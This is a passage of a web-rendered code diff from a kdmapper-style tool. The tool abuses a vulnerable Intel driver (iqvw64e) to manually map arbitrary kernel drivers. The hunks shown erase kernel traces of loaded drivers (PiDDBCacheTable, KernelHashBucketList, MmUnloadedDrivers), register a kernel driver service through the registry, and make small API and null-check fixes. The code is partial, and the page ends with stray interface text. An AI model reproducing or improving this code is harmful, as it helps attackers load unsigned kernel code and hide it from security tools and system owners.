}
|
||||
|
||||
if (!intel_driver::ClearPiDDBCacheTable(iqvw64e_device_handle)) {
|
||||
std::cout << "[-] Failed to ClearPiDDBCacheTable" << std::endl;
|
||||
intel_driver::Unload(iqvw64e_device_handle);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!intel_driver::ClearKernelHashBucketList(iqvw64e_device_handle)) {
|
||||
std::cout << "[-] Failed to ClearKernelHashBucketList" << std::endl;
|
||||
intel_driver::Unload(iqvw64e_device_handle);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!intel_driver::ClearMmUnloadedDrivers(iqvw64e_device_handle)) {
|
||||
std::cout << "[!] Failed to ClearMmUnloadedDrivers" << std::endl;
|
||||
intel_driver::Unload(iqvw64e_device_handle);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!kdmapper::MapDriver(iqvw64e_device_handle, driver_path))
|
||||
{
|
||||
if (!kdmapper::MapDriver(iqvw64e_device_handle, driver_path, 0, 0, free)) {
|
||||
std::cout << "[-] Failed to map " << driver_path << std::endl;
|
||||
intel_driver::Unload(iqvw64e_device_handle);
|
||||
return -1;
|
||||
|
|
@ -75,5 +63,4 @@ int main(const int argc, char** argv)
|
|||
|
||||
intel_driver::Unload(iqvw64e_device_handle);
|
||||
std::cout << "[+] success" << std::endl;
|
||||
|
||||
}
|
||||
|
|
@ -10,14 +10,14 @@ bool service::RegisterAndStart(const std::string& driver_path)
|
|||
const std::string nPath = "\\??\\" + driver_path;
|
||||
|
||||
HKEY dservice;
|
||||
LSTATUS status = RegCreateKey(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &dservice); //Returns Ok if already exists
|
||||
LSTATUS status = RegCreateKeyA(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &dservice); //Returns Ok if already exists
|
||||
if (status != ERROR_SUCCESS)
|
||||
{
|
||||
printf("[-] Can't create service key\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
status = RegSetKeyValue(dservice, NULL, "ImagePath", REG_EXPAND_SZ, nPath.c_str(), (DWORD)nPath.size());
|
||||
status = RegSetKeyValueA(dservice, NULL, "ImagePath", REG_EXPAND_SZ, nPath.c_str(), (DWORD)nPath.size());
|
||||
if (status != ERROR_SUCCESS)
|
||||
{
|
||||
RegCloseKey(dservice);
|
||||
|
|
@ -25,7 +25,7 @@ bool service::RegisterAndStart(const std::string& driver_path)
|
|||
return false;
|
||||
}
|
||||
|
||||
status = RegSetKeyValue(dservice, NULL, "Type", REG_DWORD, &ServiceTypeKernel, sizeof(DWORD));
|
||||
status = RegSetKeyValueA(dservice, NULL, "Type", REG_DWORD, &ServiceTypeKernel, sizeof(DWORD));
|
||||
if (status != ERROR_SUCCESS)
|
||||
{
|
||||
RegCloseKey(dservice);
|
||||
|
|
@ -35,7 +35,7 @@ bool service::RegisterAndStart(const std::string& driver_path)
|
|||
|
||||
RegCloseKey(dservice);
|
||||
|
||||
HMODULE ntdll = GetModuleHandle("ntdll.dll");
|
||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
||||
if (ntdll == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
|
@ -75,7 +75,7 @@ bool service::StopAndRemove(const std::string& driver_name)
|
|||
|
||||
HKEY driver_service;
|
||||
std::string servicesPath = "SYSTEM\\CurrentControlSet\\Services\\" + driver_name;
|
||||
LSTATUS status = RegOpenKey(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &driver_service);
|
||||
LSTATUS status = RegOpenKeyA(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &driver_service);
|
||||
if (status != ERROR_SUCCESS)
|
||||
{
|
||||
if (status == ERROR_FILE_NOT_FOUND) {
|
||||
|
|
@ -93,7 +93,7 @@ bool service::StopAndRemove(const std::string& driver_name)
|
|||
}
|
||||
|
||||
|
||||
status = RegDeleteKey(HKEY_LOCAL_MACHINE, servicesPath.c_str());
|
||||
status = RegDeleteKeyA(HKEY_LOCAL_MACHINE, servicesPath.c_str());
|
||||
if (status != ERROR_SUCCESS)
|
||||
{
|
||||
return false;
|
||||
|
|
|
|||
|
|
@ -44,11 +44,14 @@ uint64_t utils::GetKernelModuleAddress(const std::string& module_name)
|
|||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
if (buffer != 0)
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
return 0;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<nt::PRTL_PROCESS_MODULES>(buffer);
|
||||
if (!modules)
|
||||
return 0;
|
||||
|
||||
for (auto i = 0u; i < modules->NumberOfModules; ++i)
|
||||
{
|
||||
|
|
@ -90,6 +93,9 @@ PVOID utils::FindSection(char* sectionName, uintptr_t modulePtr, PULONG size) {
|
|||
PIMAGE_SECTION_HEADER section = §ions[i];
|
||||
if (memcmp(section->Name, sectionName, namelength) == 0 &&
|
||||
namelength == strlen((char*)section->Name)) {
|
||||
if (!section->VirtualAddress) {
|
||||
return 0;
|
||||
}
|
||||
if (size) {
|
||||
*size = section->Misc.VirtualSize;
|
||||
}
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue